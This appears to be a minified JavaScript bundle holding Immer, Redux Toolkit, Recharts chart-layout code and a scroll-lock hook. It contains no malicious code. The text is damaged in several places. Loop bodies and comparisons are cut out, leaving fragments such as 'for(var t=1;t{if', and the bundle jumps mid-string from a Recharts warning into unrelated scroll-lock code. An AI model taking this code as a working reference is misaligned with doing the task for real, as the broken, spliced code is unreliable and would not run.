bx={get(e,t){if(t===dn)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n?.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=pa(e);if(!A_(i,t,e.type_))return zV(e,i,t);const l=i[t];if(e.finalized_||!Ar(l)||r&&e.operationMethod&&n?.isMutatingArrayMethod(e.operationMethod)&&NV(t))return l;if(l===Sy(e.base_,t)){pd(e);const c=e.type_===1?+t:t,u=z0(e.scope_,l,e,c);return e.copy_[c]=u}return l},has(e,t){return t in pa(e)},ownKeys(e){return Reflect.ownKeys(pa(e))},set(e,t,n){const r=HR(pa(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Sy(pa(e),t),l=i?.[dn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(TV(n,i)&&(n!==void 0||A_(e.base_,t,e.type_)))return!0;pd(e),I0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),LV(e,t,n)),!0},deleteProperty(e,t){return pd(e),Sy(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),I0(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=pa(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[hd]:!0,[j0]:e.type_!==1||t!=="length",[zd]:r[zd],[Cc]:n[t]}},defineProperty(){br(11)},getPrototypeOf(e){return Dl(e.base_)},setPrototypeOf(){br(12)}},Tc={};Wc(bx,(e,t)=>{Tc[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}});Tc.deleteProperty=function(e,t){return Tc.set.call(this,e,t,void 0)};Tc.set=function(e,t,n){return bx.set.call(this,e[0],t,n,e[0])};function Sy(e,t){const n=e[dn];return(n?pa(n):e)[t]}function zV(e,t,n){const r=HR(t,n);return r?Cc in r?r[Cc]:r.get?.call(e.draft_):void 0}function HR(e,t){if(!(t in e))return;let n=Dl(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Dl(n)}}function I0(e){e.modified_||(e.modified_=!0,e.parent_&&I0(e.parent_))}function pd(e){e.copy_||(e.assigned_=new Map,e.copy_=R0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var $V=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Sl(n)&&!Sl(r)){const c=r;r=n;const u=this;return function(h=c,...p){return u.produce(h,m=>r.call(this,m,...p))}}Sl(r)||br(6),i!==void 0&&!Sl(i)&&br(7);let l;if(Ar(n)){const c=N_(this),u=z0(c,n,void 0);let f=!0;try{l=r(u),f=!1}finally{f?k0(c):L0(c)}return T_(c,i),M_(l,c)}else if(!n||!mx(n)){if(l=r(n),l===void 0&&(l=n),l===kR&&(l=void 0),this.autoFreeze_&&gx(l,!0),i){const c=[],u=[];fo(D0).generateReplacementPatches_(n,l,{patches_:c,inversePatches_:u}),i(c,u)}return l}else br(1,n)},this.produceWithPatches=(n,r)=>{if(Sl(n))return(u,...f)=>this.produceWithPatches(u,h=>n(h,...f));let i,l;return[this.produce(n,r,(u,f)=>{i=u,l=f}),i,l]},wy(t?.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),wy(t?.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),wy(t?.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Ar(t)||br(8),Aa(t)&&(t=Sr(t));const n=N_(this),r=z0(n,t,void 0);return r[dn].isManual_=!0,L0(n),r}finishDraft(t,n){const r=t&&t[dn];(!r||!r.isManual_)&&br(9);const{scope_:i}=r;return T_(i,n),M_(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const l=n[r];if(l.path.length===0&&l.op==="replace"){t=l.value;break}}r>-1&&(n=n.slice(r+1));const i=fo(D0).applyPatches_;return Aa(t)?i(t,n):this.produce(t,l=>i(l,n))}};function z0(e,t,n,r){const[i,l]=Jh(t)?fo(Bd).proxyMap_(t,n):ep(t)?fo(Bd).proxySet_(t,n):IV(t,n);return(n?.scope_??zR()).drafts_.push(i),l.callbacks_=n?.callbacks_??[],l.key_=r,n&&r!==void 0?kV(n,l,r):l.callbacks_.push(function(f){f.mapSetPlugin_?.fixSetContents(l);const{patchPlugin_:h}=f;l.modified_&&h&&h.generatePatches_(l,[],f)}),i}function Sr(e){return Aa(e)||br(10,e),qR(e)}function qR(e){if(!Ar(e)||tp(e))return e;const t=e[dn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=R0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=R0(e,!0);return Wc(n,(i,l)=>{$d(n,i,qR(l))},r),t&&(t.finalized_=!1),n}var BV=new $V,FR=BV.produce;function VR(e){return({dispatch:n,getState:r})=>i=>l=>typeof l=="function"?l(n,r,e):i(l)}var UV=VR(),HV=VR,qV=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Ld:Ld.apply(null,arguments)};function fr(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Hn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>DR(r)&&r.type===e,n}var KR=class pc extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,pc.prototype)}static get[Symbol.species](){return pc}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new pc(...t[0].concat(this)):new pc(...t.concat(this))}};function P_(e){return Ar(e)?FR(e,()=>{}):e}function Wf(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function FV(e){return typeof e=="boolean"}var VV=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:l=!0}=t??{};let c=new KR;return n&&(FV(n)?c.push(UV):c.push(HV(n.extraArgument))),c},YR="RTK_autoBatch",ct=()=>e=>({payload:e,meta:{[YR]:!0}}),R_=e=>t=>{setTimeout(t,e)},GR=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,l=!1,c=!1;const u=new Set,f=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:R_(10):e.type==="callback"?e.queueNotification:R_(e.timeout),h=()=>{c=!1,l&&(l=!1,u.forEach(p=>p()))};return Object.assign({},r,{subscribe(p){const m=()=>i&&p(),y=r.subscribe(m);return u.add(p),()=>{y(),u.delete(p)}},dispatch(p){try{return i=!p?.meta?.[YR],l=!i,l&&(c||(c=!0,f(h))),r.dispatch(p)}finally{i=!0}}})},KV=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new KR(e);return r&&i.push(GR(typeof r=="object"?r:void 0)),i};function YV(e){const t=VV(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:l=void 0,enhancers:c=void 0}=e||{};let u;if(typeof n=="function")u=n;else if(px(n))u=RR(n);else throw new Error(Hn(1));let f;typeof r=="function"?f=r(t):f=t();let h=Ld;i&&(h=qV({trace:!1,...typeof i=="object"&&i}));const p=CV(...f),m=KV(p);let y=typeof c=="function"?c(m):m();const x=h(...y);return PR(u,l,x)}function WR(e){const t={},n=[];let r;const i={addCase(l,c){const u=typeof l=="string"?l:l.type;if(!u)throw new Error(Hn(28));if(u in t)throw new Error(Hn(29));return t[u]=c,i},addAsyncThunk(l,c){return c.pending&&(t[l.pending.type]=c.pending),c.rejected&&(t[l.rejected.type]=c.rejected),c.fulfilled&&(t[l.fulfilled.type]=c.fulfilled),c.settled&&n.push({matcher:l.settled,reducer:c.settled}),i},addMatcher(l,c){return n.push({matcher:l,reducer:c}),i},addDefaultCase(l){return r=l,i}};return e(i),[t,n,r]}function GV(e){return typeof e=="function"}function WV(e,t){let[n,r,i]=WR(t),l;if(GV(e))l=()=>P_(e());else{const u=P_(e);l=()=>u}function c(u=l(),f){let h=[n[f.type],...r.filter(({matcher:p})=>p(f)).map(({reducer:p})=>p)];return h.filter(p=>!!p).length===0&&(h=[i]),h.reduce((p,m)=>{if(m)if(Aa(p)){const x=m(p,f);return x===void 0?p:x}else{if(Ar(p))return FR(p,y=>m(y,f));{const y=m(p,f);if(y===void 0){if(p===null)return p;throw Error("A case reducer on a non-draftable value must not return undefined")}return y}}return p},u)}return c.getInitialState=l,c}var XV="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",ZV=(e=21)=>{let t="",n=e;for(;n--;)t+=XV[Math.random()*64|0];return t},QV=Symbol.for("rtk-slice-createasyncthunk");function JV(e,t){return`${e}/${t}`}function eK({creators:e}={}){const t=e?.asyncThunk?.[QV];return function(r){const{name:i,reducerPath:l=i}=r;if(!i)throw new Error(Hn(11));const c=(typeof r.reducers=="function"?r.reducers(nK()):r.reducers)||{},u=Object.keys(c),f={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},h={addCase(T,j){const M=typeof T=="string"?T:T.type;if(!M)throw new Error(Hn(12));if(M in f.sliceCaseReducersByType)throw new Error(Hn(13));return f.sliceCaseReducersByType[M]=j,h},addMatcher(T,j){return f.sliceMatchers.push({matcher:T,reducer:j}),h},exposeAction(T,j){return f.actionCreators[T]=j,h},exposeCaseReducer(T,j){return f.sliceCaseReducersByName[T]=j,h}};u.forEach(T=>{const j=c[T],M={reducerName:T,type:JV(i,T),createNotation:typeof r.reducers=="function"};aK(j)?oK(M,j,h,t):rK(M,j,h)});function p(){const[T={},j=[],M=void 0]=typeof r.extraReducers=="function"?WR(r.extraReducers):[r.extraReducers],P={...T,...f.sliceCaseReducersByType};return WV(r.initialState,R=>{for(let I in P)R.addCase(I,P[I]);for(let I of f.sliceMatchers)R.addMatcher(I.matcher,I.reducer);for(let I of j)R.addMatcher(I.matcher,I.reducer);M&&R.addDefaultCase(M)})}const m=T=>T,y=new Map,x=new WeakMap;let S;function w(T,j){return S||(S=p()),S(T,j)}function O(){return S||(S=p()),S.getInitialState()}function A(T,j=!1){function M(R){let I=R[T];return typeof I>"u"&&j&&(I=Wf(x,M,O)),I}function P(R=m){const I=Wf(y,j,()=>new WeakMap);return Wf(I,R,()=>{const B={};for(const[q,U]of Object.entries(r.selectors??{}))B[q]=tK(U,R,()=>Wf(x,R,O),j);return B})}return{reducerPath:T,getSelectors:P,get selectors(){return P(M)},selectSlice:M}}const _={name:i,reducer:w,actions:f.actionCreators,caseReducers:f.sliceCaseReducersByName,getInitialState:O,...A(l),injectInto(T,{reducerPath:j,...M}={}){const P=j??l;return T.inject({reducerPath:P,reducer:w},M),{..._,...A(P,!0)}}};return _}}function tK(e,t,n,r){function i(l,...c){let u=t(l);return typeof u>"u"&&r&&(u=n()),e(u,...c)}return i.unwrapped=e,i}var An=eK();function nK(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function rK({type:e,reducerName:t,createNotation:n},r,i){let l,c;if("reducer"in r){if(n&&!iK(r))throw new Error(Hn(17));l=r.reducer,c=r.prepare}else l=r;i.addCase(e,l).exposeCaseReducer(t,l).exposeAction(t,c?fr(e,c):fr(e))}function aK(e){return e._reducerDefinitionType==="asyncThunk"}function iK(e){return e._reducerDefinitionType==="reducerWithPrepare"}function oK({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Hn(18));const{payloadCreator:l,fulfilled:c,pending:u,rejected:f,settled:h,options:p}=n,m=i(e,l,p);r.exposeAction(t,m),c&&r.addCase(m.fulfilled,c),u&&r.addCase(m.pending,u),f&&r.addCase(m.rejected,f),h&&r.addMatcher(m.settled,h),r.exposeCaseReducer(t,{fulfilled:c||Xf,pending:u||Xf,rejected:f||Xf,settled:h||Xf})}function Xf(){}var lK="task",XR="listener",ZR="completed",xx="cancelled",sK=`task-${xx}`,cK=`task-${ZR}`,$0=`${XR}-${xx}`,uK=`${XR}-${ZR}`,rp=class{constructor(e){this.code=e,this.message=`${lK} ${xx} (reason: ${e})`}name="TaskAbortError";message},wx=(e,t)=>{if(typeof e!="function")throw new TypeError(Hn(32))},Ud=()=>{},QR=(e,t=Ud)=>(e.catch(t),e),JR=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),to=e=>{if(e.aborted)throw new rp(e.reason)};function eD(e,t){let n=Ud;return new Promise((r,i)=>{const l=()=>i(new rp(e.reason));if(e.aborted){l();return}n=JR(e,l),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Ud})}var fK=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof rp?"cancelled":"rejected",error:n}}finally{t?.()}},Hd=e=>t=>QR(eD(e,t).then(n=>(to(e),n))),tD=e=>{const t=Hd(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Tl}=Object,D_={},ap="listenerMiddleware",dK=(e,t)=>{const n=r=>JR(e,()=>r.abort(e.reason));return(r,i)=>{wx(r);const l=new AbortController;n(l);const c=fK(async()=>{to(e),to(l.signal);const u=await r({pause:Hd(l.signal),delay:tD(l.signal),signal:l.signal});return to(l.signal),u},()=>l.abort(cK));return i?.autoJoin&&t.push(c.catch(Ud)),{result:Hd(e)(c),cancel(){l.abort(sK)}}}},hK=(e,t)=>{const n=async(r,i)=>{to(t);let l=()=>{};const u=[new Promise((f,h)=>{let p=e({predicate:r,effect:(m,y)=>{y.unsubscribe(),f([m,y.getState(),y.getOriginalState()])}});l=()=>{p(),h()}})];i!=null&&u.push(new Promise(f=>setTimeout(f,i,null)));try{const f=await eD(t,Promise.race(u));return to(t),f}finally{l()}};return(r,i)=>QR(n(r,i))},nD=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:l}=e;if(t)i=fr(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Hn(21));return wx(l),{predicate:i,type:t,effect:l}},rD=Tl(e=>{const{type:t,predicate:n,effect:r}=nD(e);return{id:ZV(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Hn(22))}}},{withTypes:()=>rD}),k_=(e,t)=>{const{type:n,effect:r,predicate:i}=nD(t);return Array.from(e.values()).find(l=>(typeof n=="string"?l.type===n:l.predicate===i)&&l.effect===r)},B0=e=>{e.pending.forEach(t=>{t.abort($0)})},pK=(e,t)=>()=>{for(const n of t.keys())B0(n);e.clear()},L_=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},aD=Tl(fr(`${ap}/add`),{withTypes:()=>aD}),mK=fr(`${ap}/removeAll`),iD=Tl(fr(`${ap}/remove`),{withTypes:()=>iD}),vK=(...e)=>{console.error(`${ap}/error`,...e)},Zc=(e={})=>{const t=new Map,n=new Map,r=x=>{const S=n.get(x)??0;n.set(x,S+1)},i=x=>{const S=n.get(x)??1;S===1?n.delete(x):n.set(x,S-1)},{extra:l,onError:c=vK}=e;wx(c);const u=x=>(x.unsubscribe=()=>t.delete(x.id),t.set(x.id,x),S=>{x.unsubscribe(),S?.cancelActive&&B0(x)}),f=x=>{const S=k_(t,x)??rD(x);return u(S)};Tl(f,{withTypes:()=>f});const h=x=>{const S=k_(t,x);return S&&(S.unsubscribe(),x.cancelActive&&B0(S)),!!S};Tl(h,{withTypes:()=>h});const p=async(x,S,w,O)=>{const A=new AbortController,_=hK(f,A.signal),T=[];try{x.pending.add(A),r(x),await Promise.resolve(x.effect(S,Tl({},w,{getOriginalState:O,condition:(j,M)=>_(j,M).then(Boolean),take:_,delay:tD(A.signal),pause:Hd(A.signal),extra:l,signal:A.signal,fork:dK(A.signal,T),unsubscribe:x.unsubscribe,subscribe:()=>{t.set(x.id,x)},cancelActiveListeners:()=>{x.pending.forEach((j,M,P)=>{j!==A&&(j.abort($0),P.delete(j))})},cancel:()=>{A.abort($0),x.pending.delete(A)},throwIfCancelled:()=>{to(A.signal)}})))}catch(j){j instanceof rp||L_(c,j,{raisedBy:"effect"})}finally{await Promise.all(T),A.abort(uK),i(x),x.pending.delete(A)}},m=pK(t,n);return{middleware:x=>S=>w=>{if(!DR(w))return S(w);if(aD.match(w))return f(w.payload);if(mK.match(w)){m();return}if(iD.match(w))return h(w.payload);let O=x.getState();const A=()=>{if(O===D_)throw new Error(Hn(23));return O};let _;try{if(_=S(w),t.size>0){const T=x.getState(),j=Array.from(t.values());for(const M of j){let P=!1;try{P=M.predicate(w,T,O)}catch(R){P=!1,L_(c,R,{raisedBy:"predicate"})}P&&p(M,w,x,A)}}}finally{O=D_}return _},startListening:f,stopListening:h,clearListeners:m}};function Hn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var gK={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},oD=An({name:"chartLayout",initialState:gK,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,l;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(l=t.payload.left)!==null&&l!==void 0?l:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:yK,setLayout:bK,setChartSize:xK,setScale:wK}=oD.actions,SK=oD.reducer;function lD(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ht(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function I_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function El(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:l,verticalAlign:c,layout:u}=t;if((u==="vertical"||u==="horizontal"&&c==="middle")&&l!=="center"&&Oe(e[l]))return El(El({},e),{},{[l]:e[l]+(r||0)});if((u==="horizontal"||u==="vertical"&&l==="center")&&c!=="middle"&&Oe(e[c]))return El(El({},e),{},{[c]:e[c]+(i||0)})}return e},Oo=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",z_=1e-4,_K=e=>{var t=e.domain();if(!(!t||t.length<=2)){var n=t.length,r=e.range(),i=Math.min(r[0],r[1])-z_,l=Math.max(r[0],r[1])+z_,c=e(t[0]),u=e(t[n-1]);(cl||ul)&&e.domain([t[0],t[n-1]])}},TK=(e,t)=>{if(!t||t.length!==2||!Oe(t[0])||!Oe(t[1]))return e;var n=Math.min(t[0],t[1]),r=Math.max(t[0],t[1]),i=[e[0],e[1]];return(!Oe(e[0])||e[0]r)&&(i[1]=r),i[0]>r&&(i[0]=r),i[1]{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(h[0]=l,h[1]=l+y,l=p):(h[0]=c,h[1]=c+y,c=p)}}}},MK=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(f[0]=l,f[1]=l+h,l=f[1]):(f[0]=0,f[1]=0)}}}},jK={sign:NK,expand:aF,none:co,silhouette:iF,wiggle:oF,positive:MK},PK=(e,t,n)=>{var r,i=(r=jK[n])!==null&&r!==void 0?r:co,l=rF().keys(t).value((u,f)=>Number(lt(u,f,0))).order(N0).offset(i),c=l(e);return c.forEach((u,f)=>{u.forEach((h,p)=>{var m=lt(e[p],t[f],0);Array.isArray(m)&&m.length===2&&Oe(m[0])&&Oe(m[1])&&(h[0]=m[0],h[1]=m[1])})}),c};function RK(e){return e==null?void 0:String(e)}var $_=e=>{var{axis:t,ticks:n,offset:r,bandSize:i,entry:l,index:c}=e;if(t.type==="category")return n[c]?n[c].coordinate+r:null;var u=lt(l,t.dataKey,t.scale.domain()[c]);return Vt(u)?null:t.scale(u)-i/2+r},DK=e=>{var{numericAxis:t}=e,n=t.scale.domain();if(t.type==="number"){var r=Math.min(n[0],n[1]),i=Math.max(n[0],n[1]);return r<=0&&i>=0?0:i<0?i:r}return n[0]},kK=e=>{var t=e.flat(2).filter(Oe);return[Math.min(...t),Math.max(...t)]},LK=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],IK=(e,t,n)=>{if(e!=null)return LK(Object.keys(e).reduce((r,i)=>{var l=e[i];if(!l)return r;var{stackedData:c}=l,u=c.reduce((f,h)=>{var p=lD(h,t,n),m=kK(p);return!ht(m[0])||!ht(m[1])?f:[Math.min(f[0],m[0]),Math.max(f[1],m[1])]},[1/0,-1/0]);return[Math.min(u[0],r[0]),Math.max(u[1],r[1])]},[1/0,-1/0]))},B_=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,U_=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,qd=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Xh(t,p=>p.coordinate),l=1/0,c=1,u=i.length;c{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},$K=(e,t)=>t==="centric"?e.angle:e.radius,Pa=e=>e.layout.width,Ra=e=>e.layout.height,BK=e=>e.layout.scale,sD=e=>e.layout.margin,op=G(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),lp=G(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),cD="data-recharts-item-index",uD="data-recharts-item-id",Qc=60;function q_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Zf(e){for(var t=1;te.brush.height;function VK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function KK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function YK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function GK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=G([Pa,Ra,sD,FK,VK,KK,YK,GK,jR,xV],(e,t,n,r,i,l,c,u,f,h)=>{var p={left:(n.left||0)+i,right:(n.right||0)+l},m={top:(n.top||0)+c,bottom:(n.bottom||0)+u},y=Zf(Zf({},m),p),x=y.bottom;y.bottom+=r,y=CK(y,f,h);var S=e-y.left-y.right,w=t-y.top-y.bottom;return Zf(Zf({brushBottom:x},y),{},{width:Math.max(S,0),height:Math.max(w,0)})}),WK=G(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height})),Sx=G(Pa,Ra,(e,t)=>({x:0,y:0,width:e,height:t})),XK=v.createContext(null),Vn=()=>v.useContext(XK)!=null,sp=e=>e.brush,cp=G([sp,kt,sD],(e,t,n)=>({height:e.height,x:Oe(e.x)?e.x:t.left,y:Oe(e.y)?e.y:t.top+t.height+t.brushBottom-(n?.bottom||0),width:Oe(e.width)?e.width:t.width})),Oy={},Ey={},Ay={},F_;function ZK(){return F_||(F_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:l}={}){let c,u=null;const f=l!=null&&l.includes("leading"),h=l==null||l.includes("trailing"),p=()=>{u!==null&&(n.apply(c,u),c=void 0,u=null)},m=()=>{h&&p(),w()};let y=null;const x=()=>{y!=null&&clearTimeout(y),y=setTimeout(()=>{y=null,m()},r)},S=()=>{y!==null&&(clearTimeout(y),y=null)},w=()=>{S(),c=void 0,u=null},O=()=>{p()},A=function(..._){if(i?.aborted)return;c=this,u=_;const T=y==null;x(),f&&T&&p()};return A.schedule=x,A.cancel=w,A.flush=O,i?.addEventListener("abort",w,{once:!0}),A}e.debounce=t})(Ay)),Ay}var V_;function QK(){return V_||(V_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ZK();function n(r,i=0,l={}){typeof l!="object"&&(l={});const{leading:c=!1,trailing:u=!0,maxWait:f}=l,h=Array(2);c&&(h[0]="leading"),u&&(h[1]="trailing");let p,m=null;const y=t.debounce(function(...w){p=r.apply(this,w),m=null},i,{edges:h}),x=function(...w){return f!=null&&(m===null&&(m=Date.now()),Date.now()-m>=f)?(p=r.apply(this,w),m=Date.now(),y.cancel(),y.schedule(),p):(y.apply(this,w),p)},S=()=>(y.flush(),p);return x.cancel=y.cancel,x.flush=S,x}e.debounce=n})(Ey)),Ey}var K_;function JK(){return K_||(K_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=QK();function n(r,i=0,l={}){const{leading:c=!0,trailing:u=!0}=l;return t.debounce(r,i,{leading:c,maxWait:i,trailing:u})}e.throttle=n})(Oy)),Oy}var Cy,Y_;function eY(){return Y_||(Y_=1,Cy=JK().throttle),Cy}var tY=eY();const nY=Vr(tY);var G_=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),l=2;li[c++]))}},fD=(e,t,n)=>{var{width:r="100%",height:i="100%",aspect:l,maxHeight:c}=n,u=Ea(r)?e:Number(r),f=Ea(i)?t:Number(i);return l&&l>0&&(u?f=u/l:f&&(u=f*l),c&&f!=null&&f>c&&(f=c)),{calculatedWidth:u,calculatedHeight:f}},rY={width:0,height:0,overflow:"visible"},aY={width:0,overflowX:"visible"},iY={height:0,overflowY:"visible"},oY={},lY=e=>{var{width:t,height:n}=e,r=Ea(t),i=Ea(n);return r&&i?rY:r?aY:i?iY:oY};function sY(e){var{width:t,height:n,aspect:r}=e,i=t,l=n;return i===void 0&&l===void 0?(i="100%",l="100%"):i===void 0?i=r&&r>0?void 0:"100%":l===void 0&&(l=r&&r>0?void 0:"100%"),{width:i,height:l}}function U0(){return U0=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return dY(i)?v.createElement(dD.Provider,{value:i},t):null}var Ox=()=>v.useContext(dD),hY=v.forwardRef((e,t)=>{var{aspect:n,initialDimension:r={width:-1,height:-1},width:i,height:l,minWidth:c=0,minHeight:u,maxHeight:f,children:h,debounce:p=0,id:m,className:y,onResize:x,style:S={}}=e,w=v.useRef(null),O=v.useRef();O.current=x,v.useImperativeHandle(t,()=>w.current);var[A,_]=v.useState({containerWidth:r.width,containerHeight:r.height}),T=v.useCallback((I,B)=>{_(q=>{var U=Math.round(I),V=Math.round(B);return q.containerWidth===U&&q.containerHeight===V?q:{containerWidth:U,containerHeight:V}})},[]);v.useEffect(()=>{if(w.current==null||typeof ResizeObserver>"u")return Gc;var I=V=>{var oe,{width:le,height:ce}=V[0].contentRect;T(le,ce),(oe=O.current)===null||oe===void 0||oe.call(O,le,ce)};p>0&&(I=nY(I,p,{trailing:!0,leading:!1}));var B=new ResizeObserver(I),{width:q,height:U}=w.current.getBoundingClientRect();return T(q,U),B.observe(w.current),()=>{B.disconnect()}},[T,p]);var{containerWidth:j,containerHeight:M}=A;G_(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:P,calculatedHeight:R}=fD(j,M,{width:i,height:l,aspect:n,maxHeight:f});return G_(P!=null&&P>0||R!=null&&R>0,`The width(%s) and height(%s) of chart should be greater than 0, +`)},a7=0,yl=[];function i7(e){var t=v.useRef([]),n=v.useRef([0,0]),r=v.useRef(),i=v.useState(a7++)[0],l=v.useState(kj)[0],c=v.useRef(e);v.useEffect(function(){c.current=e},[e]),v.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(i));var w=C9([e.lockRef.current],(e.shards||[]).map(bC),!0).filter(Boolean);return w.forEach(function(O){return O.classList.add("allow-interactivity-".concat(i))}),function(){document.body.classList.remove("block-interactivity-".concat(i)),w.forEach(function(O){return O.classList.remove("allow-interactivity-".concat(i))})}}},[e.inert,e.lockRef.current,e.shards]);var u=v.useCallback(function(w,O){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!c.current.allowPinchZoom;var A=Ff(w),_=n.current,T="deltaX"in w?w.deltaX:_[0]-A[0],j="deltaY"in w?w.deltaY:_[1]-A[1],M,P=w.target,R=Math.abs(T)>Math.abs(j)?"h":"v";if("touches"in w&&R==="h"&&P.type==="range")return!1;var 